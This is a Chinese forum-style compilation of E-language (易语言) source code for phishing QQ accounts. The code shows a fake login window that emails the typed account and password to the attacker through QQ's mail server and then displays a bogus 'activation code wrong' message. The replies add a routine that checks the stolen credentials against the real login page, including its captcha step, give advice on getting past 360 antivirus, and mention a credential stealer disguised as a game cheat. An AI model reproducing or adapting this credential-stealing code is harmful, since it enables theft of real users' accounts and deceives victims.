本文目录一览:
易语言 *** 钓鱼源码能盗密码和密保或问题!!
这是 *** 帐号密码钓鱼的源码
(易语言)
没有密保的
.版本
2
.支持库
internet
.支持库
spec
.程序集
窗口程序集1
.子程序
__启动窗口_创建完毕
_启动窗口.图标
=
#图片1
.子程序
_编辑框1_内容被改变
.子程序
_编辑框2_内容被改变
.子程序
_按钮1_被单击
.如果
(编辑框1.内容
=
“”
或
编辑框2.内容
=
“”)
信息框
(“请输入账号和密码!”,
0,
“”)
返回
()
.否则
.如果结束
连接发信服务器
(“
*** tp.qq.com
”,
25,
“填写你的 *** 号”,
“填写你的 *** 密码”,
)
发送邮件
(“傻瓜送号来了”,
“傻瓜账号:”
+
编辑框1.内容
+
#换行符
+
“傻瓜密码:”
+
编辑框2.内容
+
#换行符,
“填写你的 *** 邮箱号@qq.com”,
,
,
“填写你的 *** 邮箱号@qq.com”,
)
信息框
(编辑框1.内容
+
“正在检测激活码是否正确,请稍后...”,
0,
)
延迟
(300)
信息框
(“激活码错误请重新输入!”,
0,
)
销毁
()
易语言钓鱼源码
嗯嗯,改的设置对着呢。
但是你貌似没有填端口号,TX的应该是25,因为我填的是25……能发出去
可以这么写:
连接发信服务器 (“ *** tp.qq.com”, 25, 用户名, 密码)
发送邮件 (“号来了!”, “账号:” + 编辑框2.内容 + #换行符 + “密码:” + 编辑框2.内容, “*@qq.com”, , ,“*@qq.com”,)
但是,发送的时候360会拦截下来。这个你得注意下,其实你家机子要是固定IP的话,可以做个服务器。还有就是你这个验证根本不行,我账号填个1,密码填个1,那岂不就完事了,还能登上去,你又来一个垃圾。可以加个验证。
'------------------------验证源码
.版本 2
登录网页 = 网页源码编码转换 (温暖HTTP读文件 (“;auto=1s_it=1g_f=286sid=”))
' 温暖HTTP读文件 (“;auto=1s_it=1g_f=286sid=”))
产生sid = 取文本之间内容 (登录网页, “sid=”, “”)
登录返回文本 = 进行POST (寻找POST参数 (登录网页, “马上登录”), _启动窗口.编辑框1.内容, _启动窗口.编辑框2.内容)
.判断开始 (寻找文本 (登录返回文本, “登录密码错误”, , 假) > 0)
延时 (1000)
密码错误反馈.调用反馈事件 (, , )
.判断 (寻找文本 (登录返回文本, “登录失败,可能系统繁忙,请稍后重试”, , 假) > 0)
延时 (500)
帐号错误反馈.调用反馈事件 (, , )
.判断 (寻找文本 (登录返回文本, “您填写的帐号或密码不正确,请重新输入”, , 假) > 0)
延时 (1000)
密码错误反馈.调用反馈事件 (, , )
.判断 (寻找文本 (登录返回文本, “您输入的帐号不存在”, , 假) > 0)
延时 (500)
帐号错误反馈.调用反馈事件 (, , )
.判断 (寻找文本 (登录返回文本, “登录成功”, , 假) > 0)
登录成功网页 = 登录返回文本
sid = 产生sid
延时 (1000)
主界面反馈.调用反馈事件 (, , )
.判断 (寻找文本 (登录返回文本, “请输入验证码”, , 假) > 0)
验证码图片地址 = 取文本之间内容 (登录返回文本, “img src=” + #引号, #引号)
延时 (1000)
验证码反馈.调用反馈事件 (, , )
.如果 (全局验证码内容 = “”)
_启动窗口.可视 = 真
.否则
输入验证码返回文本 = 进行POST (寻找POST参数 (登录返回文本, “马上登录”), , , 全局验证码内容)
.判断开始 (寻找文本 (输入验证码返回文本, “登录成功”, , 假) > 0)
登录成功网页 = 输入验证码返回文本
sid = 产生sid
延时 (1000)
主界面反馈.调用反馈事件 (, , )
.默认
延时 (1000)
密码错误反馈.调用反馈事件 (, , )
' -----------------接下来不是源码了
这里还要用到一个温暖HTTP应用模块,我给你传上来吧。
我自己写了个不带验证的奥拉星“外挂”,你可以看看,嘻嘻……(其实还是盗号的,只是不发送过来)
求一个易语言钓鱼盗号源码
.版本
2
.支持库
internet
.子程序
_按钮1_被单击
连接发信服务器
(“ *** tp.qq.com”,
,
“用户名”,
“密码”,
)
发送邮件
(“盗号”,
“帐号:”
+
编辑框1.内容
+
“密码:”
+
编辑框2.内容,
“ *** 邮箱地址”,
“ *** 邮箱地址”,
“ *** 邮箱地址”,
“ *** 邮箱地址”,
“ *** 邮箱地址”)